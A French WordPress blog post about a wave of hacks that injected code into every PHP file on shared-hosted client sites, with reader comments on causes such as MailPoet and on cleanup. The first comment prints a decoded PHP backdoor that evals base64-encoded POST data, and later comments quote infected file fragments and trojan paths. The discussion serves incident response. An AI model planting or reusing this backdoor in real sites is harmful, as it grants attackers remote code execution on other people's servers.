Tout savoir sur WordPress

Vagues de piratages, sale journée pour WordPress

J’ai reçu hier soir un appel d’un client qui avait son site qui ne marchait pas. Rien de bien grave à priori, une erreur PHP. Mais je remarque alors que c’est le fichier wp-config qui renvoie une erreur, fichier qu’on ne touche plus après mise en ligne. Début du scénario catastophe

Vérifirez que votre WordPress ainsi que les plugins sont toujours à jour !

Il ne nous a pas fallu longtemps pour nous rendre compte que le fichier avait été corrompu : des lignes ajoutées au début du fichier et parfois à la fin. Le pire restait à venir : tous les fichiers .php de l’installation (fichiers du core WordPress, plugins, et même les thèmes) avaient été touchés.

Et histoire d’en rajouter, la moitié de nos sites clients sur un hébergement standard (hébergement simple en multidomaine chez OVH) ont été touché. Heureusement, nos site sur WP Engine n’ont pas été impactés car la sécurité de l’hébergeur spécialisé est bien plus poussée (ce qui justifie le prix)

Fichiers PHP corrompus

Les fichiers corrompus possèdent quelques lignes de codes cryptées du genre une variable contenant du code crypté, quelques lignes supplémentaires à la fin.

hackvar

 

Vague de piratage

J’ai tout d’abord expliqué mon problème sur le groupe Facebook WordPress Academy, et visiblement j’étais le seul. Mais il n’a pas fallu longtemps pour être rejoint par d’autres personnes. Peu à peu l’effervescence augmente sur twitter et on l’on croise des tweets de ce genre

La cause ?

Pour l’heure elle n’est pas bien définie, car de ce que j’ai pu analyser avec d’autres personnes, les configurations et plugins ne sont pas forcément les mêmes. Il est très probable que cela vienne de failles dans des plugins qui n’ont pas été assez mis à jour.

Quelques plugins sont connus pour avoir eu des failles récemment, parmi :

  • WP Touch
  • Disqus
  • All In One SEO
  • MailPoet

Pour mon cas particulier ma faute est d’avoir mis plusieurs site sur le même hébergement multidomaine : un script PHP peut lister les dossiers, et aller infester les autres sites clients sans aucune forme de restriction, car le multidom n’est pas un multi hébergement mutualisé poussé. J’aurais pu éviter des problèmes si j’avais fait plus attention de ce côté là.

Que faire ?

Actuellement nous sommes en train de :

  • Mettre une page index.html d’attente, avertir les clients de l’indispo de leur site
  • Télécharger les sauvegardes FTP (Merci OVH : http://guides.ovh.com/BackupsSurPlanWeb)
  • Restaurer les fichiers, les bases de données
  • Mettre à jour tous les plugins et toutes les instances WP
  • Changer les mots de passe admin, base de données et peut être même les hash

 

Si vous avez plus d’informations, n’hésitez pas à me les partager.

Bon courage à ceux qui sont dans le même cas que nous ! 

Update du 24 Juillet : L’analyse de Julio Potier

L’expert en sécurité Julio Potier a écrit sur son blog un article très intéressant, qui complètera celui-ci, que je vous invite à lire sans plus tarder : http://blog.secupress.fr/attaques-wordpress-261.html

Cet article a été mis à jour il y a 1243 jours - Il n'est peut être plus à jour !

Article écrit par Maxime BJ

Développeur, bloggeur et formateur Web spécialisé WordPress. 31 ans. Grenoblois. Co-fondateur de WPChef, l’organisme de formation WordPress.

Organisateur de WPInAlps, le meetup WordPress Grenoblois. Vous pouvez me rencontrer lors d’événements tels que WordCamp Paris et Europe. Traducteur Français de l’extension Advanced Custom Fields. Également développeur d’applications web avec MeteorJs. Je m’occupe un site pour apprendre l’informatique aux débutants gratuitement.

J’aime les jeux vidéo, la rando, la bouffe bien grasse et les voyages.

69 Commentaires

  1. Hello
    Difficile de dire « c’est la faute à … ».
    J’ai reverse le code et j’ai (entre autre) obtenu ça, qui est suffisant pour avoir la main complète en tant que pirate :
    if ( isset( $_GET[« cookie »] ) ) {
    echo « cookie=4 »;
    if ( isset( $_POST[‘ab2a28637e’] ) )
    @eval( base64_decode( $_POST[‘ab2a28637e’] ) );
    exit;
    }
    Le paramètre « ab2a28637e » peut changer selon les sites.

    Ceci est un script PHP permettant d’exécuter tout autre script PHP passé HTTP POST.

    Pour vous protéger, vous devez avoir un plugin qui bloque les mauvaises requêtes en POST, le plugin BBQ (https://wordpress.org/plugins/block-bad-queries/) ne fonctionne PAS en POST, mais en GET …

    Je n’en ai pas à vous conseiller, je n’en utilise pas assez pour ça, j’ai mes scripts maison, mais promis, je vais vous faire un plugin asap ;) (asap = 2015 mini hein)

  2. (asap = 2015 mini hein) LOL plus vite Julio plus vite !

    Gonzague pour l’instant je pense que les pirates ont profité de lancer une grosse vague sachant que le parc WP est pas assez mis à jour ( trop de plugins, trop de sites à gérer, trop de mises à jour régulières …)

  3. BBQ est une base pour moi. Ce plugin bloquer les requêtes extravagantes. Jamais déçu. Light et très très efficace contre les petits malins qui veulent s’amuser. Après on est d’accord que si le hacker est expérimenté (qu’il soit white ou black), y a pas grand chose qui est censé lui résister.

    Cela n’a pas l’air d’être le cas ici. Attaque de masse… Vos clients savent qu’un site n’est jamais à l’abri totalement. Ce qui compte est votre réactivité.

  4. Bonjour,

    même chose pour mon site. Je pense que ça vient du plugin mailPoet (anciennement wysija), que j’ai omis de mettre à jour. En restaurant une sauvegarde du 13/07, je vois que mes fichiers PHP ne sont pas corrompus, sauf deux fichiers qui ont du servir de porte d’entrée : admin-post.php et un autre dans le dossier wysija de upload. Apparament, pas de code malicieux en base de données

  5. La même ce matin, mais pas sur tous mes sites…
    Moi c’est une ligne ressemblante, insérée dans tous mes fichiers php (mais pas wp-config, qui est en dehors du repertoire du site).

    Le seul plugin que j’ai en commun avec toi sur les sites atteints, c’est WordPress SEO.
    Je suis sur un dédié avec une architecture assez cloisonnée (et que je pensais relativement secure, à tord…).

    Y’as peut-être moyen de faire quelque chose directement à partir du serveur pour sécuriser, que je n’aurais pas fait…

    Planning du jour : restauration de back-up, changement de mdp et tout le tralala…

  6. Bonjour,

    Idem que vous une partie de nos sites impactés. De fortes présomptions sur MailPoet seul dénominateur commun chez nous.

  7. vérifiez bien dans le dossier upload/wysija/themes/mailp, le fichier index.php est corrompu

    Checkez aussi le wp-admin/admin-post.php

    Je me répète, mais je pense que tout vient de là

  8. Au possible restaurez TOUS les fichiers de votre FTP car Willy en a trouvé un peu partout : des images uploadées, des fichiers licence.php rajoutés, les fichiers .php aléatoirement ou intégralement modifiés …

    Le souci c’est que j’ai Mailpoet sur aucune de mes installations sur ce serveur.

    Pour moi C’est soit une faille du Core WP (worst case scenario) mais je ne pense pas, plus plausiblement une faille ACF ou Yoast.

    En espérant que ça ne se reproduise pas de sitôt, j’aimerais profiter de mon weekend !

  9. Hello,

    par chance j’aurais échappé à cette vague de piratage… mais pas de quoi se vanter car difficile de rétablir la situation une fois le piratage commis car tant que la faille n’est pas comblée.

    En tout cas, merci de ton retour ! Je vais continuer mes backups réguliers.

    Quelqu’un utilise le service premium de VaultPress qui intègre scanner de sécurité ?

  10. Dans mon cas, j’utilise WordFence mais juste pour le scan des fichiers et c’est parfait. L’option Premium permet un scan régulier. Pour le reste des options proposées de ce plugin, j’ai eu quelques déboires avec le blocage des IP et autres.
    Pour le reste, j’associe Block Bad Queries et Limit Login Attemps pour les connexions excessives. Le blocage de certaines IP est fait par le htaccess.

  11. A priori non je n’ai pas vu de modification, les autres non plus.
    Cependant le hack donnait un accès bien complet au fichiers du site (s’il a pu écrire dans wp-config.php il a également pu le lire et récupérer les identifiants)

    De plus une fois que tu peux executer un code PHP à distance, qui sera executé par WP, rien ne t’empeche de lire/ecrire dans la BDD.

    Il faut donc rester vigilant (vérifier qu’aucun utilisateur n’ai été crée)

    Je trouve que l’on s’en sort bien car vu la faille, le mec aurait pu faire ce qu’il voulait avec nos installes, et pas juste écrire un code à la con.

  12. Oui on s’en sort bien. Je ne pense pas que ce soit du code à la con, le code ajouté permettait d’exécuter du code envoyé par les hackers en post ou en get, donc, ils prévoyaient de faire autre chose à partir de nos serveurs.

  13. Oui en effet le « code à la con » c’est juste un code base_64 encodé ou dans le genre avec tout plein de trucs néfastes derrière.

    Je pense que ça augure une grosse attaque en se servant des installations pourries pour clusteuriser.

    Affaire à suivre

  14. Idem sites mutualisés d’un client piratés. Mais aucun des plugins listés utilisés.
    Par contre l’objectif de cette faille chez mon client me semble étre spam email (avertissement ovh email la veille du blocage hebergement par ovh pour tentative de suppression de fichier non autorisé.

  15. Chaque personne piratée qui m’a fait un retour a une config différente, des plugins différents.

    Ca commence à m’inquiéter un peu cette faille …

  16. De mon côté je n’ai eu qu’un retour client, sur un WordPress 3.6
    Apparemment le truc s’y est installé il y a 2/3 semaines, et à commencer à travailler les fichiers semaine dernière.
    Une faille chez WP ? Sur cette install, il y a uniquement un thème Themeforest, pas de plugins.

  17. En fait mon collègue me dit qu’on est des boulet chez nous (surtout moi) car :

    – on avait certaines installes WP pas à jour connues pour avoir des failles il y a quelques mois déjà

    – j’avais un seul site avec Wisija, ce qui a suffit à contaminer tous les autres car les multidom OVH permettent l’accès interdossiers (via un scandir par exemple)

    Donc bon, à ce niveau c’est ma négligence qui a fauté.

  18. Bonjour,

    Comme vous mes fichiers ont été infectés probablement via Mail Poet sur WordPress qui est remonté dans d’autres dossier de sites web qui ne fonctionnent pas sous wordpress. Comme les sites non wordpress ont été les 1ers à être touchés de manière visible j’ai mis du temps à remonter jusqu’à mail poet le fichier infecté le plus ancien était dans le dossier uploads>mailpoet>themes.
    J’ai aussi un fichier stati.php ne contenant que du code similaires à ce que vous décrivez qui est apparu à la racine de mon site wordpress.

    Les bases de données semblent intactes.

  19. Bonjour tout le monde,

    Soulagé de savoir que je ne suis pas le seul dans ce cas…

    De mon côté, j’utilise OVH comme hébergeur.
    Y-at-il une piste à creuser chez cet hébergeur qui s’est fait piraté ses données clients il y a quelques jours ?!

    Concernant le code injecté, il l’est toujours la nuit, entre 2 et 4h du matin.

    J’utilise les plugins SEO by YOAST, WYSIJA (ou Mailpoet), et je suis assez pointilleux concernant la mise à jour de mes site sous wordpress autant pour la version WP elle-même que pour les plugins…

    Retour d’expérience, hier j’ai rechargé tous les sites, changé les mots de passe, mis à jour les quelques plugins qui ne l’étaient pas…

    Et ce matin rebelote… Alors où est la faille ?

  20. Bonjour tout le monde,
    Je viens simplement gonfler la liste des victimes…
    Dénominateur commun « mail poet » (il s’en est fallu de 2 jours pour que je le mette à jour…. et paf c’était fait.

    Hébergé chez OVH j’ai récupéré une sauvegarde en local (merci OVH), me suis assuré qu’elle était clean.
    Vidé la totalité du site infecté.
    Ré-injecté la sauvegarde, sécurisé le tout par d’autre plugin + une apply indépendante de WP.
    J’ai changé tous les mots de passe (admin, bdd, ftp, etc etc)
    J’ai également viré l’un ou l’autre plugin, plus suivi depuis plus au moins deux ans (tel que Gwolle Guestbook)
    Je n’ai depuis plus été inquiété.

    Je mettais aussi un point d’honneur à la mise à jour de WP et des plugins.
    Je suis convaincu d’avoir mis Mail Poet à jour (de plus j’ai contrôlé dans les fichiers) mais je pense que lors de la mise à jour j’étais déjà infecté.

    =/

  21. @Sebastien tu as été touché ? Dans ce cas il te faut repartir d’une install viable. Au pire si tu arrives à trouver l’attaque 0 et sa date, utilises les snapshots ovh pour remonter tes fichiers.

    Concernant OVH c’est la 2nd fois que ça m’arrive (clients) sur ces 3 dernières années. Je ne sais pas si ça peut venir de chez eux, ce qui est sûr c’est qu’ils ont des outils que d’autres hebergeur n’utilisent peut-être pas.

  22. Hello

    RAS de mon côté. J’utilise pourtant du Yoast ou du Mailpouet.
    Le seul « avantage », c’est que je ne suis plus sur OVH depuis des lustres. Ce qui me fait penser au commentaire de Greg (juste au-dessus au moment où j’écris ce commentaire) : est-ce que cela pourrait être lié à une faille chez cet hébergeur ?

  23. Autre chose à laquelle je pense, c’est que seul le dossier dans lequel j’upload media à droit en écriture pour « apache ». Le reste, c’est attribué à un user spécifique. Ce qui peut, j’imagine, limiter les dégats dans ce genre d’attaque, n’est ce pas ? (J’essaie de me rassurer aussi)

  24. Patrick si tu as des users par dossier c’est déjà une bonne chose.
    nous c’est ce qui a permis au hacker d’accéder à d’autres installes pourtant sans failles à partir d’une installation verolée.

    Je ne pense pas que ce soit une faille hébergeur, plusieurs ont été touchés.

    Il faut tout mettre à jour, changer les mdp, mettre quelques plugins de sécurité en plus comme wordfence et limit login attempt, et si ça continue c’est qu’il reste une faille quelque part, genre mailpoet

  25. @Romain,

    Merci pour ton message.

    Cependant, j’ai passé en revu cette partie, et aucun fichier .php ne s’y trouve.

  26. @Romain, effectivement, je suis allé trop vite en besogne.

    Il y a un fichier qui est bien planqué dans wp-content/upload/wysija/themes/mailp/index.php

    Ce fichier commence par « <?php $cookey = "a6ce73b435"; preg_replace("…

    Il est différent des autres fichiers php infectés dans sa structure. Il pourrait effectivement être à l'origine de tout le reste…

  27. @Xavier

    effectivement, je suis dans le même cas, wp-admin/admin-post.php était vérolée, dans une sauvegarde d’il y a 2 semaines.

    As-tu recensé d’autres fichiers ?

  28. non, ces deux seulement, il y a environ 2 semaines (certainement car le hacker savait que les sauvegardes automatiques se font souvent sur 6 ou 12 jours glissants) après avoir récupéré un dump, nettoyé ces deux fichiers et mis à jour mailPoet, je n’ai pour le moment pas eu de problème

  29. Merci Xavier, j’ai également fait un scan complet de mes fichiers… et logiquement il n’y a rien d’autre… Logiquement ;)
    Bonne soirée

  30. Bonsoir tout le monde, je rejoins le club de la vague de piratage^^
    Absolument pas habitué, c’est mon 1er coup bas, j’avais essayé la facon DUMP qui ne fonctionne pas, je suis entrain d’utiliser la solution http://guides.ovh.com/BackupsSurPlanWeb, merci pour l’astuce :)

    Par contre une fois la sauvegarde récupérée (j’en ai pour 5h de téléchargement :P), que faire de Mailpoet ? J’ai lu dans les commentaires du code mais n’ai pas compris la finalité …

  31. Je viens aussi de nettoyer aussi une flopée de wp-admin/admin-post.php vérolés par <?php $cookey = "a6ce73b435"; preg_replace("…

    Merci les gars !

  32. Bonjour à tous

    Ce matin je constate que tous mes fichiers sont encore en place.
    Donc pour l’instant tout est ok, et me fait dire que l’opération de nettoyage est OK.

  33. Bonjour Romain,

    Effectivement, il faut faire le ménage complet dans TOUS les fichiers, ou réinstaller une base saine (ou un backup très lointain et sain).

    J’avais également deux admin fantôme, sur mes sites. Il faut bien sûr les supprimer.

    Concernant Sucuri ou Wordfence, ils détéctent le malware une fois installé. C’est comme les antivirus, il faut malheureusement qu’il y ait des remontées d’infection pour que la détection puisse se faire a posteriori.

    Bon courage à toi

  34. Un de mes sites était tout de même terriblement infecté (hébergeur hollandais : SoHosted).

    Il tournait encore mais après avoir lu les indications du blog de Sucuri, je suis retourné faire un tour…

    Résultat des courses :
    – Un admin fantôme créé
    – Tous les fichiers WP corrompus
    – Fichiers des thèmes corrompus

    J’ai du sortir le Karscher et l’eau de Javel…

    Chez OVH, ça à l’air d’aller…

    Je touche du bois !

  35. Est-ce que Sucuri ou Wordfence détectent quelque chose désormais parce qu’il y a une semaine, lors de l’alerte sur WISYJA, ils ne détectaient rien du tout…

  36. Hello,
    Je n’ai plus aucune extension sur mon site, cependant les fichiers sont encore présents dans le http://ftp...
    Quelqu’un sait d’ou cela vient ?
    Merci d’avance, je suis en galère (plus de menu, plus de SEO…)

  37. Hello,
    Je n’ai plus aucune extension sur mon site, cependant les fichiers sont encore présents dans le http://ftp...
    Quelqu’un sait d’ou cela vient ?
    Merci d’avance, je suis en galère (plus de menu, plus de SEO…).

  38. Vérifiez également vos formulaires contact suite au piratage : chez nous plus aucun mail ne part
    (je pense que ça a servi de serveur de mail fantôme et bloqué par trop grand nombre envoyé, j’ai un client hébergé ailleurs dont c’est le cas aussi)

    • je parlais des mail envoyés par les formulaires contact des sites donc ça n’a pas de rapport avec cet incident.

      Par contre ça résoudrait surement un autre problème que j’ai ailleurs, merci pour l’info Seb

  39. @Antoine @FFF
    Peut-être qu’un des plugins contient des erreurs de scripts.
    Soit suite à une migration PHP, soit suite à un Hack.

    Dans tous les cas, WordPress désactive les plugins automatiquement quand il y a une erreur PHP, quand ça ne fait pas planter WP itself.

  40. @Romain pour ma part j’ai fait un petit mail explicatif pour que les clients hors contrat de maintenance soient au courant. Pour ceux en maintenance, je m’occupe de faire les vérifications et les corrections si nécessaire.
    Pour les clients impactés, je fais sur devis selon les sauvegardes nécessaires, l’état des données etc. Enfin au temps quoi.

  41. Ca ne fait pas très longtemps que j’ai lancé des contrats de maintenance. Mais pour WordPress (et tout CMS, mais WP en particulier) je pense qu’il faut systématiquement le proposer. J’ai énormément de client qui ne se soucient pas des maj, alors que dans mes dev je fais tout pour que les maj suivantes ne plantent rien.

  42. 1/ J’ai laissé tourner – pour test – un site vulnérable hébergé chez Gandi en Simple Hosting…

    Aucun problème d’infection. Il est à jour maintenant.

    2/ Comment avez-vous géré cette vague vis-à-vis de vos clients ?

    Pour ma part, je l’ai géré en « Pompier Volontaire » : disponible, réactif & bénévole… Une sorte de S.A.V. sous garantie…

    Mais bon, je pense aujourd’hui rédiger un mail leur expliquant la vague, ses conséquences et surtout que la prochaine fois ce ne sera plus gratuit étant donné le travail que ça représente…

  43. Nous on évite les contrats de maintenance. Cependant on s’est retrouvés dans le même souci que toi Romain.

    Aujourd’hui on propose un hébergement low cost sur un multidom OVH et un hébergement premium chez wp engine.

    On va réfléchir mais je pense qu’on va abandonner au fur et à mesure l’offre lowcost et proposer que la premium (30€ par mois environ , c’est pas non plus excessif)
    car effectivement on ne peut pas mettre à jour tous les sites low cost constamment, ça prend trop de temps.

    WP Engine est cher, mais rentable en facturant 30 euros par mois par client. La sécurité est forte, les sauvegardes fiables, ça fait gagner en temps et en tranquilité.

    Si vous avez d’autres idées.

  44. @Greg

    T’as complètement raison sur la manière de procéder…

    J’me suis lancé dans la mêlée tête baissée…

    Va juste falloir que je sois plus vendeur sur mes contrats de maintenance maintenant !

  45. J’utilise l’analogie avec les plantes et le jardin avec mes clients :

    – L’hébergement = le terreau : Meilleur qualité possible pour de bonnes bases, de bonnes racines…
    – Le site = la plante…
    – la maintenance = l’arrosage, la protection contre les petites bêtes et les maladies…

    Tout ça en Bio ;-)

  46. Bonjour,
    L’un de mes sites à été touché récemment.
    Aucun plugin listé n’est concerné par contre il semble que cela vienne de YOAST SEO.
    Désormais, toutes mes pages 404 affichent un champs d’upload de fichier … sympa !

  47. Bonjour,

    Plusieurs de mes sites (tous scripts confondus) ont subi cette attaque et autant j’ai facilement pu rétablir la plupart d’entre eux, autant, il y en a certains sur lesquels il subsiste des erreurs, même en réinstallant totalement WordPress.
    Pensez-vous que la base de données est touchée et si oui, que me suggérez-vous de faire?
    Je vous remercie par avance.

    Igor

  48. pour info, wp-content/upload/wysija/themes/default/start.php pour ceux qui trouveraient ce fichier est aussi un trojan…
    mais malheureusement, il n’y a pas que wysija impacté, un truc perso pour repérer les intrus, tout ce qui a une date de dépôt sur le seveur à laquelle vous n’avez rien fait est plus que suspect et les cocos en posent partout, à la racine, dans wp-content, wp-include, voire, j’ai donné…, le module contactform du plugin jetpack pour ceux qui l’ont
    bon courage :)

  49. Sinon, le mieux est de passer à Drupal :-) Non je plaisante, pas cool pour les users de WordPress, même nos clients Joomla sont souvent victime de hack. C’est quand même dingue que des gens prennent plaisir à plomber le site des autres…

  50. Salut tout le monde,

    Je fais partie de ceux qui ont subi les attaques :-(

    J’ai un hébergement mutualisé sur lequel tournent 7 wp et je n’ai plus d’accès http. Mon hébergeur me dit que mon hébergement a trop de connexions sortantes mais ne me donne pas plus d’infos. Leur serveur finit par planter et mes sites restent inaccessibles.
    Ça fait 7 jours maintenant que je n’arrive pas à résoudre le problème.
    Comment scannez-vous vos fichiers ? Je n’ai rien vu de suspect et je ne sais même pas quel site a été infecté. Je ne m’en sors plus et c’est assez catastrophique pour mes activités professionnelles.

    A première vue, j’ai été faire un tour dans tous les dossiers que vous mentionnez et rien de nouveau, pas de fichier php étrange. Du côté de wordpress, j’ai uploadé la dernière version sur toutes mes install et pas d’autre fichier suspect daté antérieurement.

    Une piste s’il vous plait ? :-)

    • Bonne question … je ne saurais pas répondre, mais une première chose à faire je pense est que si l’hébergeur n’est pas coopératif, autant le quitter et s’installer sur quelquechose de plus fiable dans un premier temps !

38f7308d66fc4523a85d23af7cfdb49a~~~~~~~~~~~~